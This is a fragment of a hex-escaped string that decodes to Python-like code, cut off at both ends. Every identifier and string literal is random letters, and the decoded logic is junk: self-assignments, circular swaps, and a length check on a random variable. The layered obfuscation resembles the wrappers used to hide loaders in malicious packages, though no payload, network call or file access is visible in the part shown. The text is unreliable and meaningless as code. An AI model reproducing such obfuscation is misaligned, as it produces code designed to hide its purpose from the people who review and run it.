6f\x45\x75\x42\x79\x6f\x46\x6b\x6d\x79\x47\x79\x49\x44\x77\x45\x66\x6f\x70\x75\x7a\x4a\x59\x48\x59\x73\x53\x48\x4a\x6e\x76\x48\x74\x51\x47\x52\x51\x71\x50\x77\x5a\x51\x55\x6f\x72\x75\x53\x72\x79\x6c\x48\x44\x50\x79\x53\x77\x65\x64\x4f\x47\x49\x72\x53\x71\x4e\x4f\x72\x75\x72\x45\x49\x68\x72\x56\x47\x45\x6a\x75\x45\x52\x72\x44\x4a\x43\x42\x46\x76\x77\x7a\x4a\x75\x67\x46\x53\x49\x79\x6d\x72\x4a\x43\x78\x42\x4d\x48\x72\x79\x52\x69\x47\x77\x70\x62\x78\x45\x79\x42\x7a\x4c\x45\x75\x54\x48\x20\x69\x6e\x20\x44\x56\x53\x43\x78\x71\x52\x45\x6a\x47\x6d\x53\x78\x76\x59\x51\x4e\x45\x51\x53\x72\x67\x46\x53\x6e\x47\x41\x48\x4a\x45\x49\x53\x6f\x69\x47\x6f\x6e\x46\x76\x49\x7a\x58\x44\x4a\x49\x73\x54\x47\x4a\x78\x52\x50\x79\x45\x53\x51\x6c\x45\x75\x75\x4f\x4f\x52\x69\x78\x44\x7a\x47\x41\x52\x4f\x53\x43\x72\x50\x72\x66\x49\x75\x50\x77\x45\x43\x50\x78\x70\x43\x59\x66\x6f\x52\x72\x5a\x71\x4e\x45\x48\x4a\x51\x43\x46\x72\x45\x72\x70\x52\x45\x4a\x47\x4f\x6c\x53\x7a\x53\x47\x52\x67\x58\x79\x49\x75\x70\x47\x49\x4e\x68\x50\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x47\x75\x4a\x4d\x72\x6f\x45\x75\x42\x79\x6f\x46\x6b\x6d\x79\x47\x79\x49\x44\x77\x45\x66\x6f\x70\x75\x7a\x4a\x59\x48\x59\x73\x53\x48\x4a\x6e\x76\x48\x74\x51\x47\x52\x51\x71\x50\x77\x5a\x51\x55\x6f\x72\x75\x53\x72\x79\x6c\x48\x44\x50\x79\x53\x77\x65\x64\x4f\x47\x49\x72\x53\x71\x4e\x4f\x72\x75\x72\x45\x49\x68\x72\x56\x47\x45\x6a\x75\x45\x52\x72\x44\x4a\x43\x42\x46\x76\x77\x7a\x4a\x75\x67\x46\x53\x49\x79\x6d\x72\x4a\x43\x78\x42\x4d\x48\x72\x79\x52\x69\x47\x77\x70\x62\x78\x45\x79\x42\x7a\x4c\x45\x75\x54\x48\x20\x21\x3d\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x52\x54\x71\x52\x50\x50\x41\x43\x6d\x54\x4f\x78\x43\x47\x47\x6e\x53\x6d\x54\x65\x4a\x75\x73\x48\x79\x6f\x75\x77\x50\x6c\x71\x70\x58\x47\x4b\x4d\x41\x73\x53\x66\x49\x4f\x77\x76\x65\x76\x41\x49\x41\x71\x6b\x78\x49\x53\x46\x4a\x46\x68\x44\x79\x52\x52\x72\x71\x50\x48\x47\x71\x6f\x70\x46\x51\x49\x41\x4a\x6f\x45\x47\x41\x4a\x6f\x4e\x69\x47\x4a\x48\x43\x53\x51\x52\x45\x4d\x48\x76\x4a\x57\x4a\x74\x52\x77\x78\x46\x4a\x52\x53\x44\x72\x77\x53\x53\x51\x42\x53\x43\x4f\x42\x6f\x4d\x45\x69\x4d\x46\x41\x65\x62\x45\x43\x20\x3d\x20\x52\x54\x71\x52\x50\x50\x41\x43\x6d\x54\x4f\x78\x43\x47\x47\x6e\x53\x6d\x54\x65\x4a\x75\x73\x48\x79\x6f\x75\x77\x50\x6c\x71\x70\x58\x47\x4b\x4d\x41\x73\x53\x66\x49\x4f\x77\x76\x65\x76\x41\x49\x41\x71\x6b\x78\x49\x53\x46\x4a\x46\x68\x44\x79\x52\x52\x72\x71\x50\x48\x47\x71\x6f\x70\x46\x51\x49\x41\x4a\x6f\x45\x47\x41\x4a\x6f\x4e\x69\x47\x4a\x48\x43\x53\x51\x52\x45\x4d\x48\x76\x4a\x57\x4a\x74\x52\x77\x78\x46\x4a\x52\x53\x44\x72\x77\x53\x53\x51\x42\x53\x43\x4f\x42\x6f\x4d\x45\x69\x4d\x46\x41\x65\x62\x45\x43\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x79\x44\x79\x65\x49\x52\x44\x4a\x4d\x4f\x41\x52\x75\x4b\x47\x49\x53\x56\x48\x77\x6f\x41\x48\x41\x67\x61\x51\x4d\x48\x71\x74\x79\x79\x59\x44\x41\x79\x53\x4a\x4d\x47\x71\x76\x5a\x42\x44\x53\x58\x73\x52\x73\x6b\x49\x71\x43\x52\x43\x75\x70\x76\x42\x63\x46\x47\x43\x44\x7a\x79\x4f\x68\x42\x69\x6b\x42\x6e\x78\x51\x79\x7a\x52\x44\x71\x77\x48\x55\x49\x41\x43\x43\x44\x44\x43\x4d\x6f\x7a\x51\x47\x43\x6e\x50\x78\x78\x51\x49\x4d\x73\x6e\x59\x43\x67\x48\x43\x74\x46\x76\x47\x48\x4c\x67\x4d\x55\x64\x6a\x46\x59\x72\x20\x3d\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x20\x3d\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x20\x3d\x20\x69\x79\x44\x79\x65\x49\x52\x44\x4a\x4d\x4f\x41\x52\x75\x4b\x47\x49\x53\x56\x48\x77\x6f\x41\x48\x41\x67\x61\x51\x4d\x48\x71\x74\x79\x79\x59\x44\x41\x79\x53\x4a\x4d\x47\x71\x76\x5a\x42\x44\x53\x58\x73\x52\x73\x6b\x49\x71\x43\x52\x43\x75\x70\x76\x42\x63\x46\x47\x43\x44\x7a\x79\x4f\x68\x42\x69\x6b\x42\x6e\x78\x51\x79\x7a\x52\x44\x71\x77\x48\x55\x49\x41\x43\x43\x44\x44\x43\x4d\x6f\x7a\x51\x47\x43\x6e\x50\x78\x78\x51\x49\x4d\x73\x6e\x59\x43\x67\x48\x43\x74\x46\x76\x47\x48\x4c\x67\x4d\x55\x64\x6a\x46\x59\x72\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x20\x3d\x3d\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x47\x75\x4a\x4d\x72\x6f\x45\x75\x42\x79\x6f\x46\x6b\x6d\x79\x47\x79\x49\x44\x77\x45\x66\x6f\x70\x75\x7a\x4a\x59\x48\x59\x73\x53\x48\x4a\x6e\x76\x48\x74\x51\x47\x52\x51\x71\x50\x77\x5a\x51\x55\x6f\x72\x75\x53\x72\x79\x6c\x48\x44\x50\x79\x53\x77\x65\x64\x4f\x47\x49\x72\x53\x71\x4e\x4f\x72\x75\x72\x45\x49\x68\x72\x56\x47\x45\x6a\x75\x45\x52\x72\x44\x4a\x43\x42\x46\x76\x77\x7a\x4a\x75\x67\x46\x53\x49\x79\x6d\x72\x4a\x43\x78\x42\x4d\x48\x72\x79\x52\x69\x47\x77\x70\x62\x78\x45\x79\x42\x7a\x4c\x45\x75\x54\x48\x20\x69\x6e\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x47\x75\x4a\x4d\x72\x6f\x45\x75\x42\x79\x6f\x46\x6b\x6d\x79\x47\x79\x49\x44\x77\x45\x66\x6f\x70\x75\x7a\x4a\x59\x48\x59\x73\x53\x48\x4a\x6e\x76\x48\x74\x51\x47\x52\x51\x71\x50\x77\x5a\x51\x55\x6f\x72\x75\x53\x72\x79\x6c\x48\x44\x50\x79\x53\x77\x65\x64\x4f\x47\x49\x72\x53\x71\x4e\x4f\x72\x75\x72\x45\x49\x68\x72\x56\x47\x45\x6a\x75\x45\x52\x72\x44\x4a\x43\x42\x46\x76\x77\x7a\x4a\x75\x67\x46\x53\x49\x79\x6d\x72\x4a\x43\x78\x42\x4d\x48\x72\x79\x52\x69\x47\x77\x70\x62\x78\x45\x79\x42\x7a\x4c\x45\x75\x54\x48\x20\x3d\x3d\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x20\x3d\x20\x47\x51\x65\x69\x44\x4e\x6e\x6e\x7a\x53\x7a\x49\x49\x4a\x49\x73\x51\x42\x50\x79\x78\x46\x53\x73\x43\x74\x43\x41\x44\x76\x4a\x47\x44\x52\x48\x77\x78\x48\x69\x41\x77\x4f\x46\x75\x7a\x51\x53\x6f\x42\x4d\x78\x57\x48\x78\x58\x73\x43\x45\x43\x6c\x48\x4e\x74\x6e\x52\x52\x42\x4d\x78\x51\x42\x59\x79\x55\x74\x7a\x77\x49\x47\x74\x52\x52\x4e\x6d\x49\x44\x43\x41\x47\x4f\x4d\x43\x67\x52\x4f\x48\x44\x46\x45\x41\x48\x4e\x49\x4f\x71\x52\x56\x49\x77\x50\x42\x46\x46\x51\x53\x71\x4d\x53\x75\x46\x44\x6c\x55\x49\x50\x48\x70\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x71\x43\x72\x53\x41\x6b\x73\x79\x45\x50\x47\x51\x41\x51\x51\x78\x7a\x44\x51\x4a\x70\x64\x4c\x44\x67\x52\x52\x79\x63\x79\x77\x4e\x56\x42\x68\x44\x7a\x52\x4f\x45\x50\x4a\x52\x50\x44\x51\x53\x78\x49\x42\x51\x42\x51\x6a\x6c\x45\x42\x52\x77\x73\x4a\x43\x46\x5a\x53\x52\x69\x6c\x43\x69\x68\x4a\x41\x49\x43\x6a\x71\x78\x66\x45\x47\x71\x51\x42\x53\x44\x41\x45\x4f\x69\x78\x66\x50\x44\x4a\x43\x49\x42\x69\x44\x7a\x6f\x6a\x47\x6a\x51\x44\x48\x6f\x48\x6c\x45\x53\x57\x4f\x74\x41\x46\x53\x51\x4c\x44\x77\x45\x47\x5a\x75\x20\x3d\x20\x69\x79\x44\x79\x65\x49\x52\x44\x4a\x4d\x4f\x41\x52\x75\x4b\x47\x49\x53\x56\x48\x77\x6f\x41\x48\x41\x67\x61\x51\x4d\x48\x71\x74\x79\x79\x59\x44\x41\x79\x53\x4a\x4d\x47\x71\x76\x5a\x42\x44\x53\x58\x73\x52\x73\x6b\x49\x71\x43\x52\x43\x75\x70\x76\x42\x63\x46\x47\x43\x44\x7a\x79\x4f\x68\x42\x69\x6b\x42\x6e\x78\x51\x79\x7a\x52\x44\x71\x77\x48\x55\x49\x41\x43\x43\x44\x44\x43\x4d\x6f\x7a\x51\x47\x43\x6e\x50\x78\x78\x51\x49\x4d\x73\x6e\x59\x43\x67\x48\x43\x74\x46\x76\x47\x48\x4c\x67\x4d\x55\x64\x6a\x46\x59\x72\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x7a\x43\x77\x44\x53\x5a\x77\x51\x51\x50\x4d\x6d\x52\x53\x49\x43\x50\x59\x6a\x6a\x46\x52\x52\x44\x79\x7a\x65\x52\x47\x75\x4a\x79\x53\x59\x4a\x42\x45\x77\x4c\x7a\x4d\x6e\x6b\x79\x77\x4e\x53\x52\x49\x45\x51\x76\x72\x62\x6d\x47\x45\x53\x49\x43\x41\x75\x41\x53\x49\x78\x6a\x41\x45\x50\x47\x77\x7a\x74\x4d\x67\x45\x47\x49\x44\x70\x45\x70\x6a\x76\x51\x4b\x41\x50\x50\x48\x7a\x48\x47\x78\x77\x4a\x59\x79\x6e\x49\x52\x53\x69\x64\x53\x74\x70\x47\x49\x55\x72\x42\x41\x4a\x47\x6f\x41\x76\x4d\x7a\x48\x50\x48\x64\x41\x4e\x20\x61\x6e\x64\x20\x28\x36\x20\x3c\x20\x6c\x65\x6e\x28\x7a\x43\x77\x44\x53\x5a\x77\x51\x51\x50\x4d\x6d\x52\x53\x49\x43\x50\x59\x6a\x6a\x46\x52\x52\x44\x79\x7a\x65\x52\x47\x75\x4a\x79\x53\x59\x4a\x42\x45\x77\x4c\x7a\x4d\x6e\x6b\x79\x77\x4e\x53\x52\x49\x45\x51\x76\x72\x62\x6d\x47\x45\x53\x49\x43\x41\x75\x41\x53\x49\x78\x6a\x41\x45\x50\x47\x77\x7a\x74\x4d\x67\x45\x47\x49\x44\x70\x45\x70\x6a\x76\x51\x4b\x41\x50\x50\x48\x7a\x48\x47\x78\x77\x4a\x59\x79\x6e\x49\x52\x53\x69\x64\x53\x74\x70\x47\x49\x55\x72\x42\x41\x4a\x47\x6f\x41\x76\x4d\x7a\x48\x50\x48\x64\x41\x4e\x29\x20\x3c\x20\x31\x36\x29\x3a\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x58\x4c\x50\x46\x59\x4f\x74\x50\x43\x6e\x49\x67\x75\x6c\x55\x6e\x71\x49\x41\x70\x46\x74\x46\x50\x59\x70\x47\x49\x49\x43\x78\x41\x78\x53\x48\x47\x47\x6c\x53\x4a\x41\x48\x55\x48\x76\x47\x75\x48\x4a\x4a\x47\x54\x50\x44\x41\x51\x6b\x56\x46\x46\x71\x46\x41\x45\x51\x53\x4d\x6e\x47\x52\x74\x47\x48\x50\x70\x51\x42\x49\x77\x65\x4a\x46\x42\x4f\x52\x51\x52\x45\x49\x67\x6f\x4a\x79\x49\x74\x49\x6d\x43\x6c\x53\x52\x49\x77\x47\x5a\x4a\x41\x44\x58\x5a\x49\x7a\x70\x57\x57\x55\x52\x53\x44\x4a\x57\x4e\x53\x72\x56\x4c\x20\x3d\x20\x27\x53\x74\x53\x54\x44\x6f\x44\x45\x53\x43\x69\x79\x44\x72\x43\x7a\x43\x70\x6d\x41\x76\x48\x51\x7a\x51\x75\x49\x7a\x43\x43\x78\x73\x76\x79\x70\x46\x7a\x6d\x75\x46\x69\x79\x49\x79\x4a\x6b\x6c\x6d\x41\x76\x4c\x49\x49\x6c\x45\x54\x72\x49\x75\x6f\x6b\x52\x76\x50\x6b\x4a\x4b\x42\x64\x77\x50\x43\x77\x50\x73\x55\x53\x53\x63\x53\x51\x6e\x50\x4a\x6a\x50\x74\x42\x44\x77\x6b\x48\x79\x7a\x49\x59\x45\x53\x51\x53\x6a\x48\x79\x52\x44\x44\x53\x52\x67\x78\x6f\x43\x6b\x45\x45\x7a\x45\x73\x4a\x6b\x52\x69\x72\x53\x43\x54\x79\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x48\x6a\x6e\x70\x43\x49\x48\x4f\x74\x41\x43\x58\x48\x4a\x47\x74\x55\x44\x46\x76\x49\x45\x73\x7a\x50\x48\x62\x7a\x4e\x4e\x6a\x48\x73\x51\x65\x52\x52\x46\x69\x4f\x53\x72\x41\x46\x4a\x46\x4d\x49\x44\x50\x42\x49\x78\x47\x53\x51\x7a\x48\x41\x43\x53\x42\x41\x45\x74\x6d\x73\x53\x45\x51\x4a\x44\x72\x53\x50\x4a\x43\x6c\x7a\x4a\x53\x4f\x7a\x4a\x44\x53\x6f\x46\x44\x43\x51\x4a\x53\x53\x53\x72\x76\x4b\x52\x66\x7a\x44\x54\x45\x70\x48\x76\x6f\x45\x4a\x79\x45\x45\x75\x7a\x41\x46\x46\x48\x44\x79\x79\x48\x6f\x56\x7a\x20\x3d\x20\x27\x78\x6e\x73\x59\x45\x43\x6d\x78\x53\x46\x4a\x52\x53\x77\x6e\x75\x72\x47\x4a\x48\x41\x58\x79\x49\x52\x45\x53\x6e\x55\x6d\x72\x46\x73\x42\x57\x49\x41\x41\x77\x42\x49\x41\x51\x49\x6f\x49\x77\x47\x49\x48\x79\x75\x45\x78\x61\x43\x49\x6b\x50\x52\x52\x41\x4f\x73\x43\x71\x50\x52\x45\x53\x51\x4e\x43\x45\x77\x6e\x7a\x53\x48\x71\x50\x45\x53\x42\x53\x45\x46\x74\x4d\x61\x46\x7a\x43\x6e\x6c\x6f\x78\x6f\x6d\x48\x70\x65\x41\x53\x6d\x66\x49\x78\x4a\x6a\x48\x71\x73\x73\x49\x53\x4a\x43\x72\x42\x73\x44\x73\x4f\x71\x48\x41\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x67\x72\x72\x69\x50\x4a\x51\x51\x50\x6e\x49\x50\x79\x4c\x45\x74\x65\x75\x6b\x69\x73\x59\x43\x52\x79\x53\x71\x58\x50\x6d\x61\x48\x76\x76\x44\x75\x66\x44\x56\x79\x6f\x44\x43\x44\x53\x54\x77\x42\x52\x47\x43\x6f\x47\x47\x4e\x45\x51\x47\x76\x74\x49\x43\x73\x51\x48\x53\x56\x70\x54\x43\x43\x50\x46\x46\x45\x79\x47\x44\x50\x44\x48\x57\x59\x4c\x49\x43\x42\x53\x50\x43\x43\x46\x46\x44\x47\x50\x49\x7a\x74\x74\x67\x4a\x6c\x4b\x4a\x45\x76\x69\x6d\x4a\x48\x47\x4f\x6e\x70\x41\x52\x49\x45\x4e\x77\x43\x51\x4e\x75\x6a\x53\x20\x3d\x20\x27\x6f\x6e\x42\x66\x77\x53\x76\x4f\x47\x77\x49\x6e\x75\x79\x58\x44\x78\x7a\x72\x4e\x57\x57\x53\x52\x73\x4e\x42\x44\x43\x71\x75\x56\x78\x48\x79\x6e\x7a\x6e\x72\x50\x49\x75\x7a\x68\x45\x4d\x77\x45\x77\x70\x57\x41\x79\x47\x53\x64\x42\x51\x68\x6c\x46\x4e\x6d\x4d\x53\x4d\x70\x46\x68\x45\x74\x43\x57\x48\x4a\x79\x47\x4f\x73\x47\x50\x49\x79\x42\x71\x70\x6c\x41\x7a\x6f\x44\x4e\x4a\x78\x79\x4d\x41\x4b\x79\x6b\x78\x47\x53\x50\x79\x6d\x6f\x74\x50\x52\x4f\x74\x43\x7a\x6b\x4e\x46\x46\x6b\x47\x49\x45\x5a\x53\x43\x51\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x51\x62\x41\x52\x52\x6c\x6f\x50\x77\x6f\x71\x54\x73\x53\x52\x47\x51\x79\x76\x43\x52\x51\x50\x52\x7a\x45\x79\x51\x75\x70\x4e\x77\x42\x4d\x61\x45\x41\x76\x79\x76\x41\x4f\x59\x42\x75\x75\x53\x4a\x76\x5a\x79\x7a\x49\x7a\x51\x79\x51\x51\x53\x79\x51\x50\x45\x44\x72\x57\x77\x4f\x6b\x42\x7a\x75\x79\x41\x71\x46\x4a\x48\x4e\x41\x78\x70\x47\x42\x44\x77\x76\x45\x7a\x6a\x41\x59\x43\x53\x74\x74\x77\x50\x70\x53\x4a\x74\x46\x46\x4c\x65\x48\x47\x7a\x42\x49\x57\x53\x7a\x6d\x51\x53\x6e\x4a\x52\x56\x46\x45\x48\x74\x44\x76\x20\x3d\x20\x27\x77\x77\x47\x78\x73\x5a\x78\x45\x42\x48\x7a\x49\x76\x4f\x47\x4a\x71\x66\x6f\x46\x73\x77\x75\x4a\x78\x42\x79\x78\x58\x48\x45\x45\x54\x42\x78\x59\x4a\x75\x6f\x54\x52\x51\x55\x70\x78\x59\x77\x75\x46\x4e\x44\x51\x41\x4e\x79\x75\x52\x50\x47\x4f\x78\x74\x44\x43\x41\x79\x6c\x44\x48\x6f\x53\x51\x51\x6a\x54\x48\x66\x6c\x42\x76\x4f\x75\x48\x47\x71\x70\x46\x6b\x76\x6c\x4a\x49\x6f\x65\x49\x50\x49\x71\x51\x6e\x53\x57\x41\x68\x78\x45\x5a\x76\x67\x6b\x79\x6d\x58\x47\x71\x42\x72\x45\x79\x70\x57\x6a\x43\x4c\x50\x48\x56\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x53\x48\x6a\x6e\x70\x43\x49\x48\x4f\x74\x41\x43\x58\x48\x4a\x47\x74\x55\x44\x46\x76\x49\x45\x73\x7a\x50\x48\x62\x7a\x4e\x4e\x6a\x48\x73\x51\x65\x52\x52\x46\x69\x4f\x53\x72\x41\x46\x4a\x46\x4d\x49\x44\x50\x42\x49\x78\x47\x53\x51\x7a\x48\x41\x43\x53\x42\x41\x45\x74\x6d\x73\x53\x45\x51\x4a\x44\x72\x53\x50\x4a\x43\x6c\x7a\x4a\x53\x4f\x7a\x4a\x44\x53\x6f\x46\x44\x43\x51\x4a\x53\x53\x53\x72\x76\x4b\x52\x66\x7a\x44\x54\x45\x70\x48\x76\x6f\x45\x4a\x79\x45\x45\x75\x7a\x41\x46\x46\x48\x44\x79\x79\x48\x6f\x56\x7a\x20\x3d\x3d\x20\x70\x58\x4c\x50\x46\x59\x4f\x74\x50\x43\x6e\x49\x67\x75\x6c\x55\x6e\x71\x49\x41\x70\x46\x74\x